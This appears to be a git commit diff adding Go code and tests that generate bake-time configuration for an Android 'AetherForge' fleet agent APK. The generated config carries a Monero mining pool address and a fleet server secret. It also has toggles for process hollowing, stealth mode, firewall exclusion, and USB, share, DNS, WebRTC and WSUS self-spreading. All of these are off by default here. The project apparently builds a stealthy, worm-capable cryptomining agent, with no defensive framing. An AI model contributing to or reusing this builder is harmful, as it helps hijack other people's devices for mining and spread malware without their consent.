Add Android APK fleet nodes with Crucible UI integration and tests.
APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
This commit is contained in:
140
android/forge/internal/forge/config.go
Normal file
140
android/forge/internal/forge/config.go
Normal file
@@ -0,0 +1,140 @@
|
||||
// Package forge renders Android agent APK bake-time configuration.
|
||||
package forge
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// BakeConfig holds values embedded at APK forge time.
|
||||
type BakeConfig struct {
|
||||
WorkerName string `json:"worker_name"`
|
||||
ServerURL string `json:"server_url"`
|
||||
FleetSecret string `json:"fleet_secret,omitempty"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
BuildID string `json:"build_id,omitempty"`
|
||||
}
|
||||
|
||||
// AndroidAgentDefaults returns fleet-first defaults with mining off by default.
|
||||
func AndroidAgentDefaults() BakeConfig {
|
||||
return BakeConfig{
|
||||
WorkerName: "android-fleet-node",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
Wallet: "android-node-no-pool",
|
||||
BuildID: "android-dev",
|
||||
}
|
||||
}
|
||||
|
||||
// RenderConfigJSON produces assets/config.json content for the APK wrapper.
|
||||
func RenderConfigJSON(cfg BakeConfig) (string, error) {
|
||||
cfg = normalize(cfg)
|
||||
out := map[string]any{
|
||||
"worker_name": cfg.WorkerName,
|
||||
"server_url": cfg.ServerURL,
|
||||
"mining": map[string]any{
|
||||
"enabled": false,
|
||||
"mode": "idle",
|
||||
"note": "CPU mining disabled by default; enable via server policy or re-forge.",
|
||||
},
|
||||
"fleet_secret_set": strings.TrimSpace(cfg.FleetSecret) != "",
|
||||
"build_id": cfg.BuildID,
|
||||
}
|
||||
if cfg.FleetSecret != "" {
|
||||
out["fleet_secret"] = cfg.FleetSecret
|
||||
}
|
||||
var buf bytes.Buffer
|
||||
enc := json.NewEncoder(&buf)
|
||||
enc.SetEscapeHTML(false)
|
||||
enc.SetIndent("", " ")
|
||||
if err := enc.Encode(out); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return strings.TrimSpace(buf.String()) + "\n", nil
|
||||
}
|
||||
|
||||
// RenderBuiltinGo produces agent/config/builtin.go for the embedded linux/arm64 binary.
|
||||
func RenderBuiltinGo(cfg BakeConfig) (string, error) {
|
||||
cfg = normalize(cfg)
|
||||
now := time.Now().UTC().Unix()
|
||||
return fmt.Sprintf(`// Code generated by AetherForge Android forge — DO NOT EDIT
|
||||
// Build ID: %s
|
||||
|
||||
package config
|
||||
|
||||
import "time"
|
||||
|
||||
func GetBuiltinConfig() BuiltinConfig {
|
||||
return BuiltinConfig{
|
||||
WorkerName: %q,
|
||||
ServerURL: %q,
|
||||
Wallet: %q,
|
||||
Threads: 0,
|
||||
ThreadMode: "percent",
|
||||
ThreadPercent: 0,
|
||||
CPUPriority: "idle",
|
||||
MiningMode: "idle",
|
||||
MinerExecution: "inprocess",
|
||||
DisplayMode: "background",
|
||||
SilentMode: false,
|
||||
RunAs: "user",
|
||||
AutoStart: false,
|
||||
ProcessName: "aetherforge-agent",
|
||||
BuildID: %q,
|
||||
BuiltAt: time.Unix(%d, 0),
|
||||
PoolHost: "pool.supportxmr.com",
|
||||
PoolPort: 3333,
|
||||
PoolTLS: false,
|
||||
PoolPass: "x",
|
||||
MaxCPUUsage: 0,
|
||||
MaxMemoryPct: 50,
|
||||
MinFreeRAM: 256,
|
||||
IdleThresholdPct: 0,
|
||||
IdleDurationMinutes: 60,
|
||||
ScheduleStart: "00:00",
|
||||
ScheduleEnd: "00:01",
|
||||
InstallBase: "temp",
|
||||
InstallRelativePath: "aetherforge-agent",
|
||||
AdaptToHardware: true,
|
||||
SelfHealing: false,
|
||||
FileLogging: true,
|
||||
StealthMode: false,
|
||||
FirewallExclusion: false,
|
||||
AIEnabled: false,
|
||||
ProcessHollowing: false,
|
||||
MeshP2P: false,
|
||||
AutoSpread: false,
|
||||
HolePunch: false,
|
||||
RemoteAggressive: false,
|
||||
USBSpread: false,
|
||||
ShareSpread: false,
|
||||
GPUEnabled: false,
|
||||
FleetSecret: %q,
|
||||
LotlOnionEnabled: false,
|
||||
LotlPolicyFromServer: false,
|
||||
DnsTxtSpread: false,
|
||||
WebRTCMeshSpread: false,
|
||||
WSUSCachePeerSpread: false,
|
||||
}
|
||||
}
|
||||
`, cfg.BuildID, cfg.WorkerName, cfg.ServerURL, cfg.Wallet, cfg.BuildID, now, cfg.FleetSecret), nil
|
||||
}
|
||||
|
||||
func normalize(cfg BakeConfig) BakeConfig {
|
||||
def := AndroidAgentDefaults()
|
||||
if strings.TrimSpace(cfg.WorkerName) == "" {
|
||||
cfg.WorkerName = def.WorkerName
|
||||
}
|
||||
if strings.TrimSpace(cfg.ServerURL) == "" {
|
||||
cfg.ServerURL = def.ServerURL
|
||||
}
|
||||
if strings.TrimSpace(cfg.Wallet) == "" {
|
||||
cfg.Wallet = def.Wallet
|
||||
}
|
||||
if strings.TrimSpace(cfg.BuildID) == "" {
|
||||
cfg.BuildID = def.BuildID
|
||||
}
|
||||
return cfg
|
||||
}
|
||||
78
android/forge/internal/forge/config_test.go
Normal file
78
android/forge/internal/forge/config_test.go
Normal file
@@ -0,0 +1,78 @@
|
||||
package forge
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestRenderConfigJSON(t *testing.T) {
|
||||
cfg := BakeConfig{
|
||||
WorkerName: "pixel-7",
|
||||
ServerURL: "https://deck.example.com:8989",
|
||||
FleetSecret: "test-secret",
|
||||
BuildID: "apk-001",
|
||||
}
|
||||
raw, err := RenderConfigJSON(cfg)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var doc map[string]any
|
||||
if err := json.Unmarshal([]byte(raw), &doc); err != nil {
|
||||
t.Fatalf("invalid json: %v\n%s", err, raw)
|
||||
}
|
||||
if doc["worker_name"] != "pixel-7" {
|
||||
t.Fatalf("worker_name: %v", doc["worker_name"])
|
||||
}
|
||||
if doc["server_url"] != "https://deck.example.com:8989" {
|
||||
t.Fatalf("server_url: %v", doc["server_url"])
|
||||
}
|
||||
mining, ok := doc["mining"].(map[string]any)
|
||||
if !ok || mining["enabled"] != false {
|
||||
t.Fatalf("mining should be disabled: %v", doc["mining"])
|
||||
}
|
||||
if doc["fleet_secret_set"] != true {
|
||||
t.Fatalf("fleet_secret_set expected true")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderBuiltinGo(t *testing.T) {
|
||||
cfg := BakeConfig{
|
||||
WorkerName: "tab-s9",
|
||||
ServerURL: "http://10.0.0.5:8989",
|
||||
FleetSecret: "fleet-key",
|
||||
Wallet: "placeholder-wallet",
|
||||
BuildID: "b-android",
|
||||
}
|
||||
src, err := RenderBuiltinGo(cfg)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for _, needle := range []string{
|
||||
`WorkerName: "tab-s9"`,
|
||||
`ServerURL: "http://10.0.0.5:8989"`,
|
||||
`FleetSecret: "fleet-key"`,
|
||||
`MiningMode: "idle"`,
|
||||
`IdleThresholdPct: 0`,
|
||||
`AutoStart: false`,
|
||||
`GPUEnabled: false`,
|
||||
} {
|
||||
if !strings.Contains(src, needle) {
|
||||
t.Fatalf("missing %q in builtin.go:\n%s", needle, src)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestAndroidAgentDefaults(t *testing.T) {
|
||||
def := AndroidAgentDefaults()
|
||||
raw, err := RenderConfigJSON(def)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(raw, `"enabled": false`) {
|
||||
t.Fatalf("expected mining disabled in json: %s", raw)
|
||||
}
|
||||
if !strings.Contains(raw, def.ServerURL) {
|
||||
t.Fatalf("expected default server url in json: %s", raw)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user